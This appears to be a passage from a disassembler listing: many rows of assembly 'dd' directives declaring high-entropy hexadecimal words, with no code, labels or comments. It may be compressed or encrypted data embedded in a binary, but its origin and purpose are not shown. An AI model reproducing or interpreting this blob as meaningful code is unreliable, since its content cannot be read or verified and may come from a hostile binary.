		dd 0C8A03829h, 663C91A9h, 1E037324h, 0C9E21CD3h, 0A8B38BE7h
		dd 1D7727Ch, 558B1A5Fh,	20BC17DEh, 0F900B4CAh, 0DC5A273Ch
		dd 73B12BF6h, 0F3FD0C6Eh, 10202D93h, 28893018h,	49EC79A0h
		dd 1F1C00B0h, 4AB9B02Fh, 807707Fh, 4386FF60h, 39D3130h
		dd 0A80460A6h, 99B8DBCAh, 0F178BF0Fh, 0E41A200Fh, 7B0B4D97h
		dd 31F3033Dh, 0C065FACDh, 18B743E0h, 19D58C00h,	59BB380h
		dd 40590E29h, 0AD617F5Fh, 0F131B0E7h, 0CCC08355h, 0A1538B77h
		dd 0E420890Fh, 9DF23907h, 0B685100h, 66BEF5D5h,	132AB703h
		dd 162CF30h, 950DCD38h,	0D06FB07Ah, 50001AF1h, 688B9D99h
		dd 0F2D2013h, 35B5C888h, 9A796720h, 26009714h, 587FD48Dh
		dd 0E2FF2527h, 846600C4h
		dd 96C2B93Dh, 360090C1h, 77EB3176h, 1210EA4Ah, 33973Ah
		dd 0CB37B4E7h, 2100FF27h, 94507723h, 5ED6A8h, 0DBA6993Fh
		dd 6EF4903Bh, 2B37B218h, 0B66A60h, 6118C9D2h, 0A91B129Eh
		dd 5569EA00h, 0B71DCD77h, 6DE70EABh, 78C27FCAh,	80609EA0h
		dd 4A00DF99h, 0B42BEE6Bh, 0D5CF08h, 0EC1FEAC0h,	0A9102652h
		dd 9BD92528h, 616F6C00h, 0A3A2419Dh, 835D008Dh,	56733F7Dh
		dd 300BB20h, 0D39379C9h, 758F7E53h, 0A67E6Ah, 86C6F34Eh
		dd 283926B4h, 598FF03h,	9DEEE563h, 0B8271C83h, 0EB49AAh
		dd 0E3E4BD06h, 0EC36A514h, 0E54FEE18h, 28C93010h, 0FA8CCA13h
		dd 387798D2h, 1D0C9139h, 0FC19C4E0h, 802698C0h,	1E751Bh
		dd 0E110ECF4h, 0B2AB45CDh, 9D656407h, 2377D427h, 0C37F9F50h
		dd 191100DAh, 6822BE2Dh, 0D8008AF2h, 7A02BD50h,	1DFA9127h
		dd 0C0C9097Dh, 6A99656Bh, 0B748EC49h, 0D71C001Bh, 0F4F6A51Bh
		dd 6CE621h, 2FEAAC27h, 86A6A0C1h, 312D500h, 14D67BD0h
		dd 95B70F65h, 0A8C60418h, 5700A8A4h, 3A8DF95Ch,	771EF30h
		dd 0FE472E14h, 9B0270B5h, 0E6241258h, 0DC002FA4h, 421CB0E5h
		dd 0D2E49Ch, 0BAF08F39h, 20877CBEh, 6E523A78h, 9BD68104h
		dd 0CD40EF76h, 574ADBh,	16BC6B8Dh, 15D78C9Ah, 0BA4C0F00h
		dd 0C15FC76Ch, 0C8BE01C5h, 57C3794Bh, 12CBD452h, 4EB29400h
		dd 7D4FF1A3h, 9DF4F5C6h, 28F0FBE9h, 2E610029h, 0F796A4F2h
		dd 1F1391CCh, 7F0EBD64h, 8E82A0F8h, 0E4DC4Bh, 76781C99h
		dd 40967B63h, 0A4FC3900h, 20607A50h, 29751Eh, 0EE28E8BBh
		dd 5C2606C7h, 93887800h, 0A1C51B0Ah, 7C6D0463h,	82D2A70Ch
		dd 0C4C01C53h, 0EF009206h, 6F1A916Ah, 162E51D5h, 0D266FFh
		dd 597BF38Dh, 0BE00E965h, 1D52A90Eh, 7CA0A6h, 25EF68E0h
		dd 8EC93A42h, 8496E200h, 0EB06312h, 18AE133Ch, 0FB68002Ah
		dd 1A10B85h, 24E11C0Eh,	0EE3C435Ch, 0D8F0879Ch,	0EE29CF87h
		dd 0DAB8141Eh, 2008FB3h, 72387CC1h, 6816D474h, 0B4009A61h
		dd 77CA883Eh, 0B84A3AE7h, 0F6521080h, 5709943Fh, 0CC434000h
		dd 3BA5EE19h, 96AC30D4h, 94E30E18h, 53005276h, 3F2D1DA4h
		dd 7D90F02h, 36C35987h,	9976705Fh, 0BF043ED3h, 8E893192h
		dd 0C1DC1080h, 62FF28BBh, 1E800790h, 30D0788Bh,	0EBB6BDF1h
		dd 5B108D60h, 499C4Eh, 4005ED04h, 305EACB2h, 0CA87E00h
		dd 8912EF99h, 6E063B20h, 0F7217487h, 0F2D88FC1h, 7C005EC0h
		dd 0E6877BD6h, 0F651BB17h, 28710073h, 42FFE5ACh, 980309A3h
		dd 36AA68AFh, 5D66C029h, 4B8300C6h, 95EC7BCEh, 0A00F4413h
		dd 605BADF9h, 318FB20Ch, 38E455h, 2F6ED896h, 0C0732001h
		dd 4E4D650Fh, 2D3E072h,	530A43h, 4767CAECh, 769C2AF1h
		dd 0C072AA00h, 0C6384FAh, 5B7D0013h, 0EFACDC16h, 2800384Ah
		dd 6F49C07Bh, 9796E3h, 1A27ADD4h, 73F5DACCh, 922BA400h
		dd 0DEECCB5Bh, 3BCD249Ch, 0D6C507B0h, 2AE100BAh, 9000CC65h
		dd 192F0376h, 7A4EF00Ah, 0E26D00A5h, 0B8803439h, 0E3E84324h
		dd 662FC400h, 6B944614h, 23D00E7h, 2C9627F2h, 3500F85Ch
		dd 0CA1F9510h, 3E67BFB0h, 0B403282Fh, 9F3CA1FDh, 385D5F80h
		dd 71894401h, 15BF96F6h, 9ECAD0h, 0BA7A6B74h, 4A1071Bh
		dd 0A68A2307h, 0C0CFC4D9h, 96572014h, 0EB1717E8h, 0E2970065h
		dd 0FD7382CCh, 0A96ACE00h, 0BC87379Fh, 0D3AF003Bh, 0DA49F92Bh
		dd 5673FED4h, 9CE48B00h, 30431A86h, 4CD707C6h, 0E0CFCCCAh
		dd 10E04BC1h, 29FDC000h, 0C553908Dh, 1F1F9860h,	0C0BE920Ah
		dd 0FFB7701Ah, 81CD0DCh, 0FCAD39h, 0A1DB0488h, 382CFC87h
		dd 4B001F18h, 0A3828AD4h, 0C702A053h, 1E249CD8h, 2845C0DEh
		dd 6AEE4C64h, 0E7C3EF01h, 0D1FEDC09h, 7038C5F8h, 0B707B2CAh
		dd 342389A7h, 0CE21AE0h, 0BAEE2Ch, 5587C107h, 0FC5315AFh
		dd 0DE1D200h, 0EB2EB3D7h, 0C1B10E6Dh, 674005F6h, 0CCF3CA2Dh
		dd 32577400h, 761CD495h, 9A200CEh, 0BA75FF3Fh, 0D105E44Eh
		dd 0C18E1B42h, 8AEBDEC1h, 109E220h, 0ED887E68h,	0D44931F0h
		dd 5E1DC691h, 0CA404461h, 0A356E1DAh, 7C100D1h,	876913FAh
		dd 0F7007017h, 3DA6353Bh, 0E689628h, 46A8054h, 0FE112F00h
		dd 0E1F3A16h, 1207AC60h, 800FFC1Ch, 517A1822h, 0A46401EEh
		dd 342B35E8h, 0F892ECAAh, 3E8BF53Fh, 0A1618924h, 7A5A00FDh
		dd 7E72B3Ch, 465A8DC8h,	0BADE70B1h, 0C90F7FD0h,	924BD92h
		dd 6F030041h, 2670663h,	7E2825F0h, 40D7ADB5h, 1F57EDB7h
		dd 8053D05Ah, 0A77CD1C7h, 1D00D93Eh, 0FC18506h,	744B34B0h
		dd 284F0178h, 614A3059h, 0AAA0D821h, 8B70561Dh,	0F00FD000h
		dd 26F9E8h, 0E874B2Fh, 9B11BC53h, 81D787Eh, 5C0023A1h
		dd 4119396Eh, 5F9700A0h, 490EFDE6h, 167DF938h, 9D315E07h
		dd 2EC1667Dh, 0C8404414h, 5CF108h, 0D6EBE34Bh, 4D66C29Ch
		dd 8ECD5D02h, 0E0812F97h, 5CC869h, 60731E86h, 0DCA22D8Dh
		dd 0AE765000h, 0E40CA6EBh, 0DFC11E3Bh, 1785EB1h, 67D6C2E3h
		dd 9EB8E8BDh, 7BB05100h, 50051629h, 133900C8h, 5FCBE37Fh
		dd 0BF008FC9h, 549E28C3h, 1CD3C075h, 952289E0h,	0E51F8CDDh
		dd 6FB3C0F3h, 0C31319A9h, 815EB400h, 55F94826h,	7EF65C78h
		dd 0D023600h, 0AD65E5BEh, 0B3D5F000h, 4155E8CBh, 6E0B07D7h
		dd 6024F805h, 3CAD746Ch, 0AAF1BB00h, 41BECEA9h,	47F00026h
		dd 0FB4EACD8h, 40C0D65Dh, 0B90DF8ADh, 0CCD8A8E9h, 0B48400C7h
		dd 592E062Ah, 0CE001ECDh, 584E9DF4h, 1DEE079Fh,	40B766A7h
		dd 145046BBh, 61042145h, 0BAD0F64Ch, 602CA782h,	13922735h
		dd 0F82FECF1h, 5B300026h, 7BF2210Eh, 27B701EEh,	3984B032h
		dd 18A0D71Bh, 700A2ECh,	71B3C86Eh, 529A5AA1h, 3A3F9451h
		dd 6C4D3F8Eh, 0C9231860h, 2700BA38h, 10649865h,	7F0AD9h
		dd 398EFAE4h, 0D454BF7h, 80079400h, 50A004ECh, 0A55E0EF4h
		dd 0B100B843h, 6A357520h, 0B0852200h, 5AAC8110h, 0CC2005Fh
		dd 13FDD77Fh, 7E00FB4Fh, 0D4E5D65h, 2BD289h, 28FF1F0Bh
		dd 98180194h, 0A7D6F400h, 0EC768D49h, 464100B9h, 915A4A78h
		dd 7E00BA44h, 2068D7F7h, 0EDBDC3B3h, 3C513F4h, 0C8306CCh
		dd 690702B9h, 0D7A5A3ABh, 2105A76h, 0C3D81480h,	1C402B15h
		dd 0DB0090A7h, 27DD397Bh, 33E4EE4h, 0C2EBA2BDh,	76C0360Fh
		dd 0B8011704h, 4FFC1EB6h, 0B5CC7BFFh, 508800C1h, 5D0A51E9h
		dd 9B00D47Fh, 48523098h, 1A97D28h, 8FC4F2F6h, 0DCAB8B9Ah
		dd 0A7142DE3h, 0ABF05Bh, 2B17540Fh, 0E950A3C1h,	301963E4h
		dd 828466Bh, 2672AB6Eh,	0E817DF06h, 8C4E1h, 0EC4F6028h
		dd 0CEE33EA0h, 0C9251030h, 3872FC7h, 7A3F52C0h,	50E7E2FEh
		dd 0CA357707h, 0A664D000h, 57BF55F4h, 0A4FC384Ch, 63423A6h
		dd 79632C0Ah, 3822EE00h, 9F60026Ch, 60D67634h, 0D9E5810Eh
		dd 2400CD7Bh, 3652DF7Dh, 0CA027EDEh, 834C61D9h,	17B684B8h
		dd 46B580B4h, 61147D5Fh, 185CEEEAh, 0C73901D7h,	0C07F0077h
		dd 0B8C142F2h, 0A0004B45h, 0F8595B46h, 586A82h,	2E27D2C3h
		dd 0D3C52F9Ah, 0FE68D901h, 6437EEFBh, 55B620h, 44F2748h
		dd 9FB3D0E1h, 0EDF75E00h, 0A0CEEA84h, 19AE0096h, 23F5598Bh
		dd 970091CDh, 0A7FAB699h, 7E92FEAh, 0E08DAE70h,	5B3A3051h
		dd 0E117C53Dh, 1A0E0C38h, 9E580B0h, 0BB030Fh, 260E402Bh
		dd 673F04CEh, 0F432CBEAh, 0E14FD0E0h, 29C36C24h, 0E2043EE1h
		dd 0E0A04F56h, 7818E4B4h
		dd 83E5FC3Dh, 3465DDE2h, 213CC840h, 74860E89h, 8C60B6C8h
		dd 84D934Bh, 9BE70B00h,	8F75275Bh, 0C53B0734h, 0D048A364h
		dd 81C99719h, 0A8ADE31Dh, 7B00F9D2h, 62BC0C5Ah,	9D2C3E60h
		dd 6ED2CD80h, 0A85045A5h, 61705C1Eh, 6BD732C0h,	0C7B867h
		dd 7A3C429Fh, 905AA555h, 0F1714A00h, 24DA2CA9h,	44120069h
		dd 235998D3h, 11004210h, 0CB085F7Eh, 0FA921B0Eh, 30360061h
		dd 88EEBB94h, 3175C99Eh, 974F211Fh, 451000FBh, 3062C774h
		dd 91B1388Ah, 268ED100h, 5417AF3Ah, 0D92C6E70h,	450001A0h
		dd 34814230h, 4F1B0E51h, 1FA0E752h, 2137D72Ch, 0A6BB1600h
		dd 0ADB346F6h, 76800055h, 0AFA0A8BDh, 0C030433h, 0A336326Fh
		dd 0C07D90C7h, 0F9D73F0Fh, 7C8FC683h, 6888BF8Ah, 0E0074430h
		dd 6C3282B3h, 3601EBB0h, 76C40087h, 7BAFD05Fh, 0E100B29Dh
		dd 0FEF3533Bh, 0B8504874h, 363A009Eh, 33CD0466h, 0C000D21Ah
		dd 0AB45A653h, 2507DF9Eh, 0C6F4ED7Ah, 2049AF0Eh, 0B5B99BD0h
		dd 0C0200003h, 0C78D0A06h, 41F25B0Fh, 1F843300h, 0BDDDA68Fh
		dd 0E34300A3h, 0EB34D4C4h, 0EF009108h, 0BC3ABB52h, 972C64h
		dd 26AEF32Ah, 7B5C3E8Fh, 809B5403h, 0FFA2D3E9h,	0A6FD5720h
		dd 55833C8Ch, 71660E80h, 0FF89DE19h, 81D7F100h,	96E2C932h
		dd 435D0042h, 5E1CA68h,	0D800E344h, 95A194AFh, 0BEFDB9h
		dd 48045BA0h, 0BDEE418Ah, 0CB00DC71h, 29E97F4Bh, 3FA7AFh
		dd 27CA6FA4h, 0B9DBC08Eh, 56462500h, 0E4BC8575h, 4B323C3Ch
		dd 66519383h, 6B88271Ah, 3570D46Fh, 36133DF4h, 350ECF3Eh
		dd 0CC00D29Bh, 57CD6899h, 72F204A6h, 0C7BB4982h, 23474163h
		dd 0E57FE464h, 0B23BBE00h, 0EBF0C942h, 46FA00FDh, 1E1C697Ah
		dd 6E0092F7h, 4FC33058h, 7AB96079h, 8EAF0FE3h, 9DA0D322h
		dd 0FE93AA54h, 0D45FBD03h, 0B005A35Eh, 4E168069h, 75CEA8F8h
		dd 41CFE101h, 7FDCD6C0h, 0B130E4h, 1CBB3F13h, 4887EF4h
		dd 6F00D278h, 4D4BC1B2h, 74A13Ah, 56BC41DFh, 109CC69h
		dd 7E7D337Ah, 0AF3FCAB8h, 0BE83389Fh, 368B0329h, 0F3701477h
		dd 0ABE598D6h, 0E7D70E8h, 11BE03D4h, 0CD52B6E0h, 7330C417h
		dd 919D19E3h, 0C06200E1h, 0AA13D2F9h, 0E800DB9Fh, 5816ABFDh
		dd 377CB51h, 135B16Eh, 0D6C078BEh, 0F60003AEh, 5A1386EFh
		dd 0CC498h, 8E353225h, 9FF9BC33h, 4ED6161Fh, 0FC5B248Fh
		dd 80B07340h, 3B3DD4h, 174161ABh, 0C75AFEA1h, 2FDEC01h
		dd 6D795B62h, 30682F4h,	26CB8F6Eh, 97984B64h, 0C100D20Bh
		dd 0FCD0DD9Eh, 798D94h,	55A6B0E5h, 4B11E8Ch, 6D455D00h
		dd 9B2A20Eh, 0CA4E07A0h, 3068A875h, 10B79F01h, 0DD0C5E03h
		dd 885A6328h, 0E5951AFh, 7E07741Ch, 73B41DE0h, 3E01B34Bh
		dd 39265BDFh, 18D10B36h, 377DDC4h, 0A2C8CD30h, 7E80574Ch
		dd 90008825h, 896E4F81h, 1DC56BE2h, 40305E86h, 0F5BCA902h
		dd 0CE00A750h, 2036D257h, 7F7B4Eh, 0F2802901h, 0DF4DFA9Bh
		dd 402DD400h, 58D2A539h, 0C87239D7h, 14F200FCh,	0D8AD1B0Fh
		dd 0BE003696h, 2D4C3176h, 3926FDA9h, 0C800B943h, 59A0BB42h
		dd 0D50070B7h, 86F36382h, 1F9FD4E1h, 1246FFEh, 3E26CCF4h
		dd 3881DB1Dh, 0D522E40Bh, 0B5DA5E03h, 0D0FCB4AEh, 0B8D80A2h
		dd 120D6BADh, 43F30Ah, 468EDD50h, 3E006554h, 197692B2h
		dd 0D0E43h, 4ECD166Ah, 40271B2Ah, 4CFE2E00h, 0F8CC31B9h
		dd 0CAA000A5h, 0ED1121BFh, 961D0343h, 0E3003B85h, 0D26846C9h
		dd 0F0C13C81h, 87CE4C1Fh, 6093ECABh, 454BA970h,	0CBBC201Fh
		dd 9A37DC5h, 0C818F583h, 0BDE578h, 334E604Bh, 56C29B9h
		dd 1250B204h, 0AF805BC7h, 0EEEAA5Ah, 833B8979h,	0EB654700h
		dd 0FD00BE10h, 1F785B01h, 1C9161Ch, 13E6EFB7h, 60D94E3Dh
		dd 1A002D76h, 0AEE37462h, 776C0EB8h, 0BE7624h, 0DD785A9Bh
		dd 108549DBh, 0C10E72B8h, 0C0442CE3h, 0D062AE91h, 0F0640EA4h
		dd 4CA02482h, 543716EDh, 0F9791F01h, 0F5397E04h, 0F1C99340h
		dd 29E01CEh, 10215188h,	6015CC5Ch, 0A97C800h, 535A3D9Bh
		dd 58BDA05Bh, 0DDC73877h, 0E3FC2380h, 0A4EBB3Bh, 0AA00B374h
		dd 0F6C8D7EFh, 90C4CB36h, 0C1620004h, 14100E7Ah, 8E00E3DBh
		dd 66B05D0Ah, 7A28D25h,	0F169850Fh, 5902209Bh, 83005A9Ch
		dd 0A1E76F2Ch, 90754886h, 522B00A5h, 1194F07Ah,	96000E5Dh
		dd 6B531889h, 8FE6D9h, 28E714EAh, 0E0203393h, 588B7401h
		dd 70FD8785h, 10F5DCh, 73D750DEh, 2964438Ah, 8DD3B900h
		dd 0A3C51E98h, 0CA0200F7h, 0F261CD0Bh, 0F4070ED5h, 53DA7335h
		dd 0B54E8E90h, 0FE403BBDh, 31527180h, 0D14CAAAFh, 1FBAF800h
		dd 4F80B4EBh, 383F00F5h, 0C4D8E0B1h, 0BDE2D5C6h, 0A7935003h
		dd 8B8CF42Fh, 0F04EF849h, 0D810E68h, 5C2F590Fh,	0DF7BCB60h
		dd 9200B344h, 1EABFB3Dh, 0A49781h, 5DB43289h, 79B9FA29h
		dd 2AF71500h, 0E406AF76h, 83A74ECDh, 0CAD831FAh, 0D1166B02h
		dd 0C4005486h, 0E4439EF7h, 1053639Ah, 84886627h, 57802148h
		dd 0DC8B489Eh, 4042121Dh, 889D67Fh, 15013093h, 0F83CDFF5h
		dd 0DD30D2C5h, 324700B9h, 0D40F6AEEh, 7D000CA6h, 222DC2F2h
		dd 0FE877Fh, 44547030h,	798CCE09h, 4F948E00h, 63F38B64h
		dd 0A824A052h, 0B6CC0093h, 0D879E0Bh, 0E5E6D343h, 205CE830h
		dd 0ABF40Fh, 0C7017BDh,	3F7623F9h, 7740B300h, 43572D12h
		dd 20CB004Eh, 0AFB9C09Dh, 300246Dh, 0B7F8210Ch,	0FE5FB296h
		dd 7B800FA7h, 0B4002B15h, 0F9529E99h, 37D36600h, 4409275Fh
		dd 88810EB1h, 127EA69h,	0BCE48157h, 1F7D2091h, 6E67DE00h
		dd 41F21711h, 82B078h, 7D47F7A8h, 922AB5B6h, 841DD701h
		dd 98F5DD81h, 1D4CA860h, 4F55F4CDh, 216082D6h, 0E90A2DAFh
		dd 903D9100h, 10C0DDB5h, 6B1439CEh, 0D90098BCh,	0D6BEBAF9h
		dd 0A200515Fh, 0C93F8093h, 947BA0h, 0F9B5C1Ah, 5B5F1B6Fh
		dd 7AB32B0Bh, 0AD3F00A7h, 79BC2Dh, 1057CC11h, 25A65644h
		dd 58AB7303h, 0D89B3DE3h, 120BF5DFh, 2D41BDh, 3E17543Ch
		dd 0E000F43Bh, 5116C411h, 90E658BFh, 5E0800D3h,	0FF49BA7Eh
		dd 2305CAE0h, 0AF556A7Ch, 0E2E62039h, 46202035h, 3ADBA518h
		dd 7D7C4709h, 14B388Dh,	7F60E000h, 0A006C928h, 66A7EF06h
		dd 848F6B5h, 0AAC439DCh, 86334C00h, 0B1D1FDh, 0C637717Eh
		dd 0E4414A35h, 0F2E73Ch, 7632F7F1h, 1D717850h, 9D902146h
		dd 6C0B3C7Bh, 80F71F14h, 0B1C19C7Dh, 0BBB0014Dh, 93600685h
		dd 7830809Bh, 0DE9C2942h, 83720C0Bh, 7D605209h,	8C325E78h
		dd 40B0587Ch, 0C502C686h, 0C15FF830h, 0E0A2B10Dh, 310CC3D8h
		dd 20CE4DF5h, 0B215006Eh, 8BD15A56h, 4E00D2ECh,	0A8A196E8h
		dd 30941064h, 0AD666FB1h, 6E071B24h, 7E9C7A68h,	0BBF52EC0h
		dd 4905608Ah, 0D1F16A2Fh, 0F2E22100h, 0B1422A7Ch, 8AA30CA5h
		dd 71283F4Fh, 5E22C117h, 0EA61B4B0h, 745D2646h,	0B78B01CAh
		dd 835339C4h, 0C2B98DC8h, 0FEE0265Ch, 0DAB40094h, 9648D3F7h
		dd 837FB802h, 80790435h, 5CEB0D80h, 20C55376h, 0FDBD3E81h
		dd 788708F5h, 1EC7F824h, 5E65F9h, 83B39323h, 0D0A87D9Bh
		dd 0AC00131Fh, 3EE0B40Bh, 7C8B5214h, 0F96014DFh, 0C300C844h
		dd 2E0ABDBBh, 0BC006669h, 0F4A9EDDBh, 93EF03h, 0D1D40511h
		dd 37EB2233h, 7400DAE4h, 0C86F098Fh, 2EEBABFh, 5E7F7616h
		dd 0E0A0238Dh, 3C90829Ch, 6A1060D8h, 7054054Ah,	0EF4B5DE9h
		dd 0F1641CC1h, 0F8C9F0h
		dd 0E872233Dh, 0CDB9465Ah, 968EDF00h, 6720D9B1h, 1C6C72A8h
		dd 43FC21FEh, 8CAF5F6Bh, 0BFB79BB0h, 835D5B00h,	18E3B1AEh
		dd 7041607Dh, 45F247E8h, 0C30E900h, 0A23C6EEDh,	0B8C0308h
		dd 0F8B6BD22h, 676A95C0h, 54BF5303h, 0C7334275h, 55AA6E61h
		dd 60B691E0h, 4D21D1AFh, 9F024A68h, 0D78F65B1h,	844AC080h
		dd 0D38107A5h, 26DDAC8Ch, 4A0C308Bh, 38FD7402h,	43C3001Eh
		dd 0AACE4992h, 5B0089B6h, 7669E1B0h, 0D08142h, 0D944CBFAh
		dd 18DA5F23h, 8084D9FBh, 2724CCC8h, 2DBCDFh, 0F2C8BBC1h
		dd 0E0D5104Fh, 0CAA73503h, 0B9669Fh, 60A67C80h,	0ACC9A42Fh
		dd 0E7E2217h, 0ED51E107h, 3C93D270h, 749C0018h,	0F19F8878h
		dd 4D029755h, 0DB1ED070h, 3136C0D8h, 86A63E8Dh,	5574B680h
		dd 2FFA9C6Dh, 132EE0E7h, 0AEF33Ah, 10E78418h, 0D11975h
		dd 0F92A633Dh, 7EEB6ABBh, 0E66CF60Eh, 0F8C13FE7h, 770FBDADh
		dd 331379C4h, 0C088617Bh, 6AFFA8E9h, 356865C0h,	3048F895h
		dd 89A990B7h, 79C02B57h, 0F9EC1E15h, 7658033Dh,	0ADCF67E0h
		dd 8CB78800h, 2A395E90h, 0F60E1C96h, 3801DAFAh,	0A856B880h
		dd 8C009E88h, 18ACCD29h, 9B2421h, 1F3249DFh, 5A27AE74h
		dd 7DA8934Bh, 0FBBA0D00h, 4670A563h, 44FEE97Ah,	6935BE00h
		dd 24B3ADA7h, 0CC310BD9h, 7221EDCAh, 87377651h,	0BFFF08D9h
		dd 400E1A40h, 6AFE3Fh, 3AB19E5Bh, 9383F5B8h, 6628C7F6h
		dd 1954A8A3h, 0FAC080CCh, 84DDA7BBh, 285678F9h,	0F9C8C3h
		dd 763E3828h, 0A4C7AE1Eh, 8118FBFCh, 0A11E11B7h, 0CC7B3E66h
		dd 0FC04F52Bh, 8017E338h, 4F27E738h, 39BA85Eh, 201629C4h
		dd 0C9A363ADh, 0B14310Ah, 0A11EA4F8h, 0E0EED833h, 0E7DC0CF9h
		dd 2934B6F2h, 5A4CCEA8h, 805B8441h, 0F2610410h,	0FE706B8Fh
		dd 0D9F840h, 14D38CAEh,	6E9E71FCh, 0AB1919C2h, 7403228Dh
		dd 0D8BD1882h, 0F3302310h, 8E767510h, 815EEA8Bh, 63A7B10Ch
		dd 8534611h, 30B5506Dh,	0C90CA8ACh, 0CE8744E1h,	65105042h
		dd 37C38420h, 0AD38425h, 8A24AF0Ch, 854B061h, 0DD425298h
		dd 2124BC24h, 0A9083629h, 44F245BCh, 22ADC50Ch,	0C184995Fh
		dd 422E904Ch, 0FB551435h, 0A8DF290Ch, 0E9DE9190h, 0B1CD8CC0h
		dd 0F308C218h, 84FDDC9Fh, 428DB524h, 239C05E7h,	0C076E070h
		dd 44DAE801h, 1BD73881h, 3A220020h, 5F006F3Dh, 0EA1EB50Ah
		dd 0D900FEFAh, 4B609BC1h, 39DCCC7h, 0D4A4C0C5h,	0A5E87A1Bh
		dd 0A749345Bh, 99630B24h, 0D0A68CE7h, 723A2A07h, 5EE108B0h
		dd 173B3811h, 0A0001A90h, 0CF843EBh, 9B7206D3h,	0A17A0BCDh
		dd 24B0211Eh, 0C5148E40h, 0A4F5A2h, 4CC2686Fh, 8C3C53C7h
		dd 0B517E900h, 643E4225h, 37C0BFA2h, 8A24117Bh,	1CA37C9Ch
		dd 462C60EFh, 509C9980h, 4585Ch, 0B4D439E6h, 5393A1F1h
		dd 1A618503h, 0C8D244C5h, 7A6BB1AFh, 598CA0BCh,	19E314A2h
		dd 0BE0084F1h, 0D2D34629h, 0CB65F6C1h, 0C84F8ED8h, 1B501807h
		dd 1A9E0E68h, 0B28F9803h, 469FAC25h, 68FCB114h,	701DA510h
		dd 348CD680h, 8200516Ch, 0AD1B6A3Ch, 508DFF06h,	0F1C05Eh
		dd 0A07F859Eh, 4D597DF5h, 55BAD10Fh, 0CCDF20C7h, 3FB4AC6h
		dd 0ADB16708h, 0B807E6BEh, 7B60815Dh, 75799A3h,	1CBBFFE9h
		dd 0BE0F9033h, 8B7A7A5Bh, 40B7F126h, 9FAA6A0Eh,	18A2EA41h
		dd 2D6BE34h, 6880FCD6h,	0D14AF052h, 40440329h, 62ACA640h
		dd 941A2450h, 1600138h,	0D09F66DBh, 59332AC9h, 0F1282849h
		dd 0E834239Ch, 0AC5B3CC5h, 4323B13h, 0D0486D5Ch, 0F234D060h
		dd 0C7878B00h, 0A14675D4h, 79323ECBh, 18A5DE18h, 593A2C1Ah
		dd 0B5AD06B3h, 77F8BD77h, 41EC1834h, 0BFCB19CCh, 0EB13C80h
		dd 85C725B6h, 0A59954A2h, 3634F083h, 84CC2029h,	4C41F980h
		dd 0F76F85E4h, 72D289Eh, 61F618B6h, 24399966h, 0EF048BB4h
		dd 0D5D3A2E9h, 7C60BCD5h, 48844C14h, 9E009449h,	6126C40Ah
		dd 0A21866E4h, 0DE18326Bh, 882B5293h, 1291C24h,	661D54AFh
		dd 0A504E85Ah, 868453FBh, 8BA2410Eh, 1BD839Ch, 0B157A8B2h
		dd 17CFB8D1h, 0AF1DDFh,	0F28E34ACh, 0D400CDA6h,	0C23CD0E8h
		dd 1DC726D8h, 6F54AD99h, 0B8206DF6h, 0FAABFF1Fh, 3428A0C0h
		dd 7F71E343h, 0A5E40509h, 934B9CCDh, 90CCC52Ch,	44992598h
		dd 4818EF59h, 0E9F23008h, 9FBF938h, 0D188CD04h,	9EF4D400h
		dd 64902314h, 422BE303h, 63C7CCCh, 17D95572h, 253AE849h
		dd 1B0607Eh, 0A55C3633h, 0EBCD0230h, 553838F8h,	0F51A0333h
		dd 61D34FE8h, 5065B004h, 10D11B0Eh, 53E4A6E5h, 494601C7h
		dd 0B161B233h, 412DF9E3h, 34A1B4B8h, 3E00479Ch,	769A6D5Ch
		dd 4CEEA464h, 0DC523C9Eh, 9F9C8000h, 0F2D4396h,	0E7D00D01h
		dd 0BF92495Ah, 40EA400h, 511A3930h, 78EE6244h, 71F92C6Eh
		dd 8A020F8h, 0B58E0A98h, 9A2801B9h, 0B2CCCEFAh,	24253430h
		dd 3D4F85E7h, 0E97D6300h, 0A5C55B9Ch, 0C148EFE8h, 0F99D0963h
		dd 8A896C4h, 0A949C74h,	44312A0Eh, 508BDCD3h, 507F6A00h
		dd 0CE17253Fh, 0B3805899h, 996790F1h, 641E0075h, 0BD970D5Ah
		dd 0E301AF4Ch, 36A9D3CFh, 4C20A78Dh, 0ED6D001Eh, 0AB70660Fh
		dd 810241ACh, 8CB6202Dh, 48CEEFh, 0B5125DC3h, 0E6DB02C1h
		dd 39C84915h, 81F506ECh, 9030DDB3h, 3E5880B8h, 76218870h
		dd 0E9790430h, 0F3A2539h, 5FDD2C74h, 4048EF14h,	0FD187680h
		dd 88EAD597h, 0A1CCF450h, 96027718h, 155F6E20h,	84DFDA14h
		dd 367B1800h, 2AB5762h,	0CF31F562h, 74252003h, 209056CEh
		dd 1213117Eh, 1C5AB885h, 43349078h, 0DC7B044h, 9FC9E4BEh
		dd 3C880D8h, 47F9AEE0h,	17F06AFh, 41B034B3h, 7E54BC06h
		dd 0F0791FC5h, 0C2690AECh, 4208F497h, 271866EEh, 98EA48DEh
		dd 1D943703h, 80B450Ch,	8A916774h, 2C8040FAh, 0A35F63C8h
		dd 0C1E900CDh, 37F4F383h, 0E0018C16h, 0B2C8951Eh, 0A5DCF935h
		dd 1A562551h, 32102418h, 340F7A03h, 667448h, 0E7A31F10h
		dd 53045AB4h, 49FE2100h, 2AEF1E2Fh, 0FC8EFABBh,	77FF00E9h
		dd 635A6EB9h, 410352AEh, 0A15C571Eh, 0BF728071h, 5F290A03h
		dd 0F96D195h, 5DFC6Dh, 0D650B76Eh, 0A21BE177h, 0E048F724h
		dd 73D1FD15h, 93370053h, 0AA1C7049h, 0D6001934h, 82941097h
		dd 131B9h, 0A5DBED1Eh, 3FD40C63h, 69749600h, 0FCA13706h
		dd 0BA1D0E2Dh, 97C0AC31h, 99D7A4A8h, 516E3A30h,	0E0C4413h
		dd 8B359563h, 0F4041560h, 40F19241h, 0E07EB0CAh, 0A2636B05h
		dd 30204446h, 0D0F688B4h, 408048B0h, 0BF1359ECh, 3EE1FE1Ch
		dd 0FC2D37C7h, 1891FD30h, 64DA36DDh, 4869839h, 12886D0Ah
		dd 0F1FC0C32h, 0C02305Bh, 1B5E4083h, 55BDE480h,	74023CEDh
		dd 0D83A56BFh, 790C8220h, 51A91159h, 88FD518h, 0FC642291h
		dd 449FD21h, 4AFB6FFAh,	0A8BB0CC9h, 51542431h, 9322210Ch
		dd 1C8D21E5h, 41FBF008h, 11720375h, 0E10806DFh,	0F6710B22h
		dd 9D288407h, 4521248Eh, 91E90A05h, 314080Ch, 5040543h
		dd 3FA4A260h, 14EC006Ah, 9D8BE34Ah, 4DDE9A12h, 51855475h
		dd 6555080Fh, 0B840836Ch, 40E9F114h, 0CB860EC1h, 0D8DD986Dh
